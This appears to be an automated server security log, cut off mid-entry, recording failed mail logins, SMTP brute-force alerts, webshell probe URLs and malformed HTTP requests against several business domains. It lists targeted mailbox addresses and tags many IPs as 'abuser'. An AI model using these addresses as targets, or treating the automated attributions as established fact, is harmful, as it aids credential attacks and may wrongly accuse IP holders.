2026-02-01 16:36:32 dovecot_login authenticator failed for H=(sgaU11r) [158.94.208.175]:49730: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:37:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57073: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-02-01 16:37:23 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:56352: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.172.79.198
country_id: 1819730
description:
2026-02-01 16:37:30 dovecot_login authenticator failed for H=69-172-79-198.static.imsbiz.com (173-248-234-145.static.imsbiz.com) [69.172.79.198]:53482: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 16:37:42 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:54275: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:38:03 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43860: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:38:06 dovecot_login authenticator failed for H=(QSAJ3b) [158.94.208.175]:62490: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:38:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62415: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.47.16.101
country_id: 1880251
description:
2026-02-01 16:38:22 dovecot_plain authenticator failed for H=(ch33qfq424hsokut7isonrhq5un000db) [101.47.16.101]:40396: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:39:40 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50839: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-02-01 16:39:10 dovecot_plain authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:45980: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:39:13 dovecot_login authenticator failed for H=(KDMR2nN) [158.94.208.175]:53791: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:39:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50839: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:40:16 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47682: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.44
country_id: 1269750
description:
2026-02-01 16:40:22 dovecot_login authenticator failed for H=([103.147.248.44]) [103.147.248.44]:33324: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:40:24 dovecot_login authenticator failed for H=(mOPBedM0p) [158.94.208.175]:64670: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.237.57.61
country_id: 2017370
description:
2026-02-01 16:40:39 dovecot_login authenticator failed for H=host-85-237-57-61.dsl.sura.ru [85.237.57.61]:53452: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.48.70.31
country_id: 1210997
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/horse/images/logo-(3).png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:40:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57864: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-02-01 16:40:07 dovecot_login authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:38130: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.201.54.90
country_id: 3469034
description:
2026-02-01 16:40:23 dovecot_login authenticator failed for H=([189.57.81.137]) [186.201.54.90]:38644: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.236.186.137
country_id: 2017370
description:
2026-02-01 16:40:33 dovecot_login authenticator failed for H=(p186-137.samaralan.ru) [85.236.186.137]:49606: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.50.171.170
country_id: 1269750
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/education/curriculum/images/banner4.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.134.217.196
country_id: 1282988
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/education/curriculum/images/banner2.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.76.93.12
country_id: 1269750
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/horse/images/logo.png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-02-01 16:41:03 dovecot_login authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:11671: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.242.162.98
country_id: 953987
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/education/curriculum/images/banner3.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-01 16:41:07 231771 [Warning] Aborted connection 231771 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:41:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63884: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 16:42:35 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:49252: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 16:42:55 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:43396: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 121.200.221.132
country_id: 1210997
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/education/curriculum/images/banner1.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.118.159.24
country_id: 1269750
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/horse/images/banner3.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.14.176
country_id: 1562822
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/horse/images/banner1.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.219.61.74
country_id: 3865483
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/horse/images/banner2.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:42:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59360: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 129.222.59.88
country_id: 3595528
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/horse/images/banner4.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:42:23 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54918: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:42:38 dovecot_login authenticator failed for H=(0TOA27) [158.94.208.175]:52503: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-01 16:44:00 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:58747: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:43:13 dovecot_login authenticator failed for H=(ebokS9) [158.94.208.175]:51511: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 139.162.70.53
country_id: 1861060
description:
2026-02-01 16:43:41 231888 [Warning] Aborted connection 231888 to db: 'unconnected' user: 'unauthenticated' host: '139.162.70.53' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:43:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57226: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.156.225.40
country_id: 2542007
description:
2026-02-01 16:43:06 dovecot_plain authenticator failed for H=([192.168.1.9]) [105.156.225.40]:64642: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:44:49 dovecot_login authenticator failed for H=(5kkddmuB) [158.94.208.175]:64031: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/photos/img/photos/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-01 16:44:08 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:48160: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.8.182.105
country_id: 1643084
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/education/curriculum/images/logo-(3).png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:44:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63077: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:44:30 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59450: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:45:20 dovecot_login authenticator failed for H=(JnXsLRch0) [158.94.208.175]:56811: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.64.206
country_id: 1269750
description:
2026-02-01 16:45:46 dovecot_login authenticator failed for H=(nsg-corporate-206.64.186.122.airtel.in) [122.186.64.206]:50672: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-02-01 16:45:21 dovecot_login authenticator failed for H=([122.187.230.227]) [122.187.230.227]:37774: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.60.146
country_id: 1269750
description:
2026-02-01 16:45:24 dovecot_login authenticator failed for H=([182.95.25.99]) [182.95.60.146]:51766: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 16:45:35 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:57246: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:45:40 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58679: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:45:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52830: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:46:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64419: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/photos/images/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.217.204.91
country_id: 2658434
description:
2026-02-01 16:46:21 dovecot_login authenticator failed for H=adsl-89-217-204-91.adslplus.ch [89.217.204.91]:33568: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:46:26 dovecot_login authenticator failed for H=(nZNDi8) [158.94.208.175]:57217: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.169.210.16
country_id: 2017370
description:
2026-02-01 16:46:02 dovecot_plain authenticator failed for H=(m6qlftiyoemprdiuv) [136.169.210.16]:54737: 535 Incorrect authentication data (set_id=support@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:46:39 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54060: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.22.187.66
country_id: 1814991
description:
2026-02-01 16:46:52 dovecot_login authenticator failed for H=([218.22.187.68]) [218.22.187.66]:36879: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 16:47:12 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:38298: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:47:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54295: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 16:47:43 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:51946: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:47:07 dovecot_login authenticator failed for H=(qnbNoyUYE4) [158.94.208.175]:56184: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:48:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64385: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.225.181
country_id: 6252001
description:
2026-02-01 16:48:24 dovecot_plain authenticator failed for H=c-71-235-225-181.hsd1.ct.comcast.net (imule) [71.235.225.181]:55608: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:48:54 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51122: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:48:17 dovecot_login authenticator failed for H=(ZQxeyD) [158.94.208.175]:52921: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:49:20 dovecot_login authenticator failed for H=(GQJTUn) [158.94.208.175]:52425: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:49:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50228: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:50:25 dovecot_login authenticator failed for H=(t6oj7NN) [158.94.208.175]:61521: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.230.86.50
country_id: 6252001
description:
2026-02-01 16:50:27 dovecot_plain authenticator failed for H=c-73-230-86-50.hsd1.pa.comcast.net (tchenopla) [73.230.86.50]:48818: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:50:31 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62950: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 16:50:17 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:41766: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:50:39 dovecot_login authenticator failed for H=(ChjzYnPJoG) [178.16.54.22]:64171: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-02-01 16:50:40 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:35892: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:51:04 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:37912: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:51:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52495: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:51:32 dovecot_login authenticator failed for H=(kA2F7BO) [158.94.208.175]:65028: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:52:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58576: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:52:14 dovecot_login authenticator failed for H=(EB0DFVaIln) [178.16.54.22]:59529: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:52:35 dovecot_login authenticator failed for H=(baPepnRi7X) [158.94.208.175]:57962: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.244.127.191
country_id: 6254930
description:
2026-02-01 16:52:07 dovecot_plain authenticator failed for H=(7J2Z8VH88YREWO) [83.244.127.191]:50910: 535 Incorrect authentication data (set_id=arts@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:53:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53471: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:53:12 dovecot_login authenticator failed for H=(Idx9ngpIy4) [158.94.208.175]:56878: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:53:15 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51516: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:53:16 dovecot_login authenticator failed for H=(fPlkFWf) [178.16.54.22]:63657: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:54:16 dovecot_login authenticator failed for H=(70n3czwVU0) [158.94.208.175]:49895: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:54:23 dovecot_login authenticator failed for H=(KjnOhhMQ) [178.16.54.22]:62424: 535 Incorrect authentication data (set_id=fuzz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:54:27 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49755: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.172.79.198
country_id: 1819730
description:
2026-02-01 16:54:59 dovecot_login authenticator failed for H=69-172-79-198.static.imsbiz.com ([173.248.234.145]) [69.172.79.198]:63084: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.183.70
country_id: 1814991
description:
2026-02-01 16:55:48 dovecot_login authenticator failed for H=([39.165.183.70]) [39.165.183.70]:58418: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.27.32.70
country_id: 6252001
description:
2026-02-01 16:56:00 dovecot_login authenticator failed for H=syn-137-027-032-070.biz.spectrum.com [137.27.32.70]:40186: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.110
country_id: 99237
description:
2026-02-01 16:55:06 dovecot_plain authenticator failed for H=(cottly) [65.20.233.110]:59161: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-02-01 16:55:14 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:53832: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:55:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55837: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:55:24 dovecot_login authenticator failed for H=(0RPszU) [158.94.208.175]:60973: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:55:31 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55837: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.52.119.193
country_id: 6252001
description:
2026-02-01 16:55:02 dovecot_plain authenticator failed for H=c-68-52-119-193.hsd1.tn.comcast.net (boidentost) [68.52.119.193]:34250: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.90.202.72
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/poor/655/489095 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
